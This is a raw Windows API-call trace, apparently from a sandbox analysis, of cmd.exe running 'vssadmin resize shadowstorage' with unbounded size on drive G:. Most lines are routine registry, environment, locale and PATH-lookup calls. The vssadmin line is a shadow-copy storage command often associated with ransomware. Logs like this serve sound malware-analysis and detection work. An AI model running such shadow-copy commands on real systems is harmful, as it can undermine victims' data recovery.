	[0087.891] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x8feae0, lpData=0x8feae4, lpcbData=0x8feadc*=0x1000 | out: lpType=0x8feae0*=0x0, lpData=0x8feae4*=0x68, lpcbData=0x8feadc*=0x1000) returned 0x2
	[0087.891] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x8feae0, lpData=0x8feae4, lpcbData=0x8feadc*=0x1000 | out: lpType=0x8feae0*=0x4, lpData=0x8feae4*=0x1, lpcbData=0x8feadc*=0x4) returned 0x0
	[0087.891] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x8feae0, lpData=0x8feae4, lpcbData=0x8feadc*=0x1000 | out: lpType=0x8feae0*=0x0, lpData=0x8feae4*=0x1, lpcbData=0x8feadc*=0x1000) returned 0x2
	[0087.891] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x8feae0, lpData=0x8feae4, lpcbData=0x8feadc*=0x1000 | out: lpType=0x8feae0*=0x4, lpData=0x8feae4*=0x0, lpcbData=0x8feadc*=0x4) returned 0x0
	[0087.891] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x8feae0, lpData=0x8feae4, lpcbData=0x8feadc*=0x1000 | out: lpType=0x8feae0*=0x4, lpData=0x8feae4*=0x40, lpcbData=0x8feadc*=0x4) returned 0x0
	[0087.891] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x8feae0, lpData=0x8feae4, lpcbData=0x8feadc*=0x1000 | out: lpType=0x8feae0*=0x4, lpData=0x8feae4*=0x40, lpcbData=0x8feadc*=0x4) returned 0x0
	[0087.891] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x8feae0, lpData=0x8feae4, lpcbData=0x8feadc*=0x1000 | out: lpType=0x8feae0*=0x0, lpData=0x8feae4*=0x40, lpcbData=0x8feadc*=0x1000) returned 0x2
	[0087.891] RegCloseKey (hKey=0xcc) returned 0x0
	[0087.891] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x8fead8 | out: phkResult=0x8fead8*=0xcc) returned 0x0
	[0087.891] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x8feae0, lpData=0x8feae4, lpcbData=0x8feadc*=0x1000 | out: lpType=0x8feae0*=0x0, lpData=0x8feae4*=0x40, lpcbData=0x8feadc*=0x1000) returned 0x2
	[0087.891] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x8feae0, lpData=0x8feae4, lpcbData=0x8feadc*=0x1000 | out: lpType=0x8feae0*=0x4, lpData=0x8feae4*=0x1, lpcbData=0x8feadc*=0x4) returned 0x0
	[0087.891] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x8feae0, lpData=0x8feae4, lpcbData=0x8feadc*=0x1000 | out: lpType=0x8feae0*=0x0, lpData=0x8feae4*=0x1, lpcbData=0x8feadc*=0x1000) returned 0x2
	[0087.891] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x8feae0, lpData=0x8feae4, lpcbData=0x8feadc*=0x1000 | out: lpType=0x8feae0*=0x4, lpData=0x8feae4*=0x0, lpcbData=0x8feadc*=0x4) returned 0x0
	[0087.891] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x8feae0, lpData=0x8feae4, lpcbData=0x8feadc*=0x1000 | out: lpType=0x8feae0*=0x4, lpData=0x8feae4*=0x9, lpcbData=0x8feadc*=0x4) returned 0x0
	[0087.891] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x8feae0, lpData=0x8feae4, lpcbData=0x8feadc*=0x1000 | out: lpType=0x8feae0*=0x4, lpData=0x8feae4*=0x9, lpcbData=0x8feadc*=0x4) returned 0x0
	[0087.891] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x8feae0, lpData=0x8feae4, lpcbData=0x8feadc*=0x1000 | out: lpType=0x8feae0*=0x0, lpData=0x8feae4*=0x9, lpcbData=0x8feadc*=0x1000) returned 0x2
	[0087.891] RegCloseKey (hKey=0xcc) returned 0x0
	[0087.891] time (in: timer=0x0 | out: timer=0x0) returned 0x5e40e73b
	[0087.891] srand (_Seed=0x5e40e73b) 
	[0087.891] GetCommandLineW () returned="cmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded"
	[0087.892] malloc (_Size=0x4000) returned 0xa421f0
	[0087.892] GetCommandLineW () returned="cmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded"
	[0087.892] malloc (_Size=0xffce) returned 0x2cd0048
	[0087.892] ??_V@YAXPAX@Z () returned 0x8ffabc
	[0087.893] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2cd0048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0087.893] malloc (_Size=0xffce) returned 0x2ce0020
	[0087.893] ??_V@YAXPAX@Z () returned 0x8ff890
	[0087.893] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2ce0020, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0087.893] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0087.893] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0087.894] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0087.894] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0087.894] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0087.894] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0087.894] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0087.894] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0087.894] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0087.894] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0087.894] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0087.894] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0087.894] GetProcessHeap () returned 0x910000
	[0087.894] RtlFreeHeap (HeapHandle=0x910000, Flags=0x0, BaseAddress=0x9156a8) returned 1
	[0087.894] GetEnvironmentStringsW () returned 0x914bd0*
	[0087.894] GetProcessHeap () returned 0x910000
	[0087.894] RtlAllocateHeap (HeapHandle=0x910000, Flags=0x8, Size=0xae2) returned 0x917748
	[0087.894] FreeEnvironmentStringsA (penv="A") returned 1
	[0087.894] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0087.894] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0087.894] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0087.894] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0087.894] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0087.894] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0087.894] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0087.894] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0087.894] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0087.895] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0087.895] malloc (_Size=0xffce) returned 0x2cefff8
	[0087.895] ??_V@YAXPAX@Z () returned 0x8ff628
	[0087.895] GetProcessHeap () returned 0x910000
	[0087.895] RtlAllocateHeap (HeapHandle=0x910000, Flags=0x8, Size=0x38) returned 0x910ae0
	[0087.895] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2cefff8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0087.895] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x2cefff8, lpFilePart=0x8ff674 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x8ff674*="Desktop") returned 0x17
	[0087.895] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0087.896] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x8ff3f8 | out: lpFindFileData=0x8ff3f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x910b20
	[0087.896] FindClose (in: hFindFile=0x910b20 | out: hFindFile=0x910b20) returned 1
	[0087.896] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x8ff3f8 | out: lpFindFileData=0x8ff3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x910b20
	[0087.896] FindClose (in: hFindFile=0x910b20 | out: hFindFile=0x910b20) returned 1
	[0087.896] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x8ff3f8 | out: lpFindFileData=0x8ff3f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x205eab37, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x205eab37, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x910b20
	[0087.896] FindClose (in: hFindFile=0x910b20 | out: hFindFile=0x910b20) returned 1
	[0087.896] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0087.896] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1
	[0087.896] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1
	[0087.896] GetProcessHeap () returned 0x910000
	[0087.896] RtlFreeHeap (HeapHandle=0x910000, Flags=0x0, BaseAddress=0x917748) returned 1
	[0087.896] GetEnvironmentStringsW () returned 0x914bd0*
	[0087.896] GetProcessHeap () returned 0x910000
	[0087.897] RtlAllocateHeap (HeapHandle=0x910000, Flags=0x8, Size=0xb1a) returned 0x916c58
	[0087.897] FreeEnvironmentStringsA (penv="=") returned 1
	[0087.897] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2cd0048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0087.897] GetProcessHeap () returned 0x910000
	[0087.897] RtlFreeHeap (HeapHandle=0x910000, Flags=0x0, BaseAddress=0x910ae0) returned 1
	[0087.897] ??_V@YAXPAX@Z () returned 0x1
	[0087.897] ??_V@YAXPAX@Z () returned 0x1
	[0087.897] GetProcessHeap () returned 0x910000
	[0087.897] RtlAllocateHeap (HeapHandle=0x910000, Flags=0x8, Size=0x400e) returned 0x918d60
	[0087.897] GetProcessHeap () returned 0x910000
	[0087.897] RtlAllocateHeap (HeapHandle=0x910000, Flags=0x8, Size=0x8c) returned 0x917780
	[0087.897] GetProcessHeap () returned 0x910000
	[0087.897] RtlFreeHeap (HeapHandle=0x910000, Flags=0x0, BaseAddress=0x918d60) returned 1
	[0087.897] GetConsoleOutputCP () returned 0x1b5
	[0087.984] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0087.984] GetUserDefaultLCID () returned 0x409
	[0087.984] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0xb9f82c, cchData=8 | out: lpLCData=":") returned 2
	[0087.984] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x8ff9e4, cchData=128 | out: lpLCData="0") returned 2
	[0087.984] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x8ff9e4, cchData=128 | out: lpLCData="0") returned 2
	[0087.984] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x8ff9e4, cchData=128 | out: lpLCData="1") returned 2
	[0087.984] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0xb9f81c, cchData=8 | out: lpLCData="/") returned 2
	[0087.984] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0xb9f7b8, cchData=32 | out: lpLCData="Mon") returned 4
	[0087.984] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0xb9f778, cchData=32 | out: lpLCData="Tue") returned 4
	[0087.984] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0xb9f738, cchData=32 | out: lpLCData="Wed") returned 4
	[0087.984] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0xb9f6f8, cchData=32 | out: lpLCData="Thu") returned 4
	[0087.984] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0xb9f6b8, cchData=32 | out: lpLCData="Fri") returned 4
	[0087.984] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0xb9f678, cchData=32 | out: lpLCData="Sat") returned 4
	[0087.984] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0xb9f638, cchData=32 | out: lpLCData="Sun") returned 4
	[0087.985] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0xb9f80c, cchData=8 | out: lpLCData=".") returned 2
	[0087.985] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0xb9f7f8, cchData=8 | out: lpLCData=",") returned 2
	[0087.985] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0087.986] GetProcessHeap () returned 0x910000
	[0087.986] RtlAllocateHeap (HeapHandle=0x910000, Flags=0x0, Size=0x20c) returned 0x917860
	[0087.986] GetConsoleTitleW (in: lpConsoleTitle=0x917860, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0088.077] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76750000
	[0088.077] GetProcAddress (hModule=0x76750000, lpProcName="CopyFileExW") returned 0x76764330
	[0088.077] GetProcAddress (hModule=0x76750000, lpProcName="IsDebuggerPresent") returned 0x76765930
	[0088.077] GetProcAddress (hModule=0x76750000, lpProcName="SetConsoleInputExeNameW") returned 0x748f09d0
	[0088.077] ??_V@YAXPAX@Z () returned 0x1
	[0088.078] GetProcessHeap () returned 0x910000
	[0088.078] RtlAllocateHeap (HeapHandle=0x910000, Flags=0x8, Size=0x400a) returned 0x918d60
	[0088.078] GetProcessHeap () returned 0x910000
	[0088.078] RtlFreeHeap (HeapHandle=0x910000, Flags=0x0, BaseAddress=0x918d60) returned 1
	[0088.079] _wcsicmp (_String1="vssadmin", _String2=")") returned 77
	[0088.079] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16
	[0088.079] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16
	[0088.079] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13
	[0088.079] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13
	[0088.079] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4
	[0088.079] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4
	[0088.079] GetProcessHeap () returned 0x910000
	[0088.079] RtlAllocateHeap (HeapHandle=0x910000, Flags=0x8, Size=0x58) returned 0x917a78
	[0088.079] GetProcessHeap () returned 0x910000
	[0088.079] RtlAllocateHeap (HeapHandle=0x910000, Flags=0x8, Size=0x1a) returned 0x917ad8
	[0088.080] GetProcessHeap () returned 0x910000
	[0088.080] RtlAllocateHeap (HeapHandle=0x910000, Flags=0x8, Size=0x78) returned 0x917b00
	[0088.080] GetConsoleTitleW (in: lpConsoleTitle=0x8ff8d8, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0088.098] malloc (_Size=0xffce) returned 0x2ce2638
	[0088.140] ??_V@YAXPAX@Z () returned 0x8ff664
	[0088.140] malloc (_Size=0xffce) returned 0x2cf2610
	[0088.141] ??_V@YAXPAX@Z () returned 0x8ff41c
	[0088.141] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0088.141] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0088.141] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0088.142] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0088.143] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0088.144] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0088.144] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0088.144] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0088.144] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0088.144] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0088.144] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0088.144] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16
	[0088.144] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13
	[0088.144] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4
	[0088.144] ??_V@YAXPAX@Z () returned 0x1
	[0088.144] GetProcessHeap () returned 0x910000
	[0088.144] RtlAllocateHeap (HeapHandle=0x910000, Flags=0x8, Size=0xffd6) returned 0x918d60
	[0088.145] GetProcessHeap () returned 0x910000
	[0088.145] RtlAllocateHeap (HeapHandle=0x910000, Flags=0x8, Size=0x8a) returned 0x917b80
	[0088.145] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19
	[0088.145] malloc (_Size=0xffce) returned 0x2cf2610
	[0088.145] ??_V@YAXPAX@Z () returned 0x8ff19c
	[0088.145] GetProcessHeap () returned 0x910000
	[0088.145] RtlAllocateHeap (HeapHandle=0x910000, Flags=0x8, Size=0x1ffa4) returned 0x928d40
	[0088.147] SetErrorMode (uMode=0x0) returned 0x0
	[0088.147] SetErrorMode (uMode=0x1) returned 0x0
	[0088.147] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x928d48, lpFilePart=0x8ff1bc | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x8ff1bc*="Desktop") returned 0x17
	[0088.147] SetErrorMode (uMode=0x0) returned 0x1
	[0088.147] GetProcessHeap () returned 0x910000
	[0088.147] RtlReAllocateHeap (Heap=0x910000, Flags=0x0, Ptr=0x928d40, Size=0x4a) returned 0x928d40
	[0088.147] GetProcessHeap () returned 0x910000
	[0088.147] RtlSizeHeap (HeapHandle=0x910000, Flags=0x0, MemoryPointer=0x928d40) returned 0x4a
	[0088.147] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0088.147] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0088.148] GetProcessHeap () returned 0x910000
	[0088.148] RtlAllocateHeap (HeapHandle=0x910000, Flags=0x8, Size=0x1b4) returned 0x917c18
	[0088.148] GetProcessHeap () returned 0x910000
	[0088.148] RtlAllocateHeap (HeapHandle=0x910000, Flags=0x8, Size=0x360) returned 0x917dd8
	[0088.153] GetProcessHeap () returned 0x910000
	[0088.153] RtlReAllocateHeap (Heap=0x910000, Flags=0x0, Ptr=0x917dd8, Size=0x1b6) returned 0x917dd8
	[0088.153] GetProcessHeap () returned 0x910000
	[0088.153] RtlSizeHeap (HeapHandle=0x910000, Flags=0x0, MemoryPointer=0x917dd8) returned 0x1b6
	[0088.153] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0088.153] GetProcessHeap () returned 0x910000
	[0088.153] RtlAllocateHeap (HeapHandle=0x910000, Flags=0x8, Size=0xe0) returned 0x917f98
	[0088.154] GetProcessHeap () returned 0x910000
	[0088.154] RtlReAllocateHeap (Heap=0x910000, Flags=0x0, Ptr=0x917f98, Size=0x76) returned 0x917f98
	[0088.154] GetProcessHeap () returned 0x910000
	[0088.154] RtlSizeHeap (HeapHandle=0x910000, Flags=0x0, MemoryPointer=0x917f98) returned 0x76
	[0088.154] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0088.154] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x8fef48, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8fef48) returned 0xffffffff
	[0088.154] GetLastError () returned 0x2
	[0088.154] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0088.154] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x8fef48, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8fef48) returned 0xffffffff
	[0088.155] GetLastError () returned 0x2
	[0088.155] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
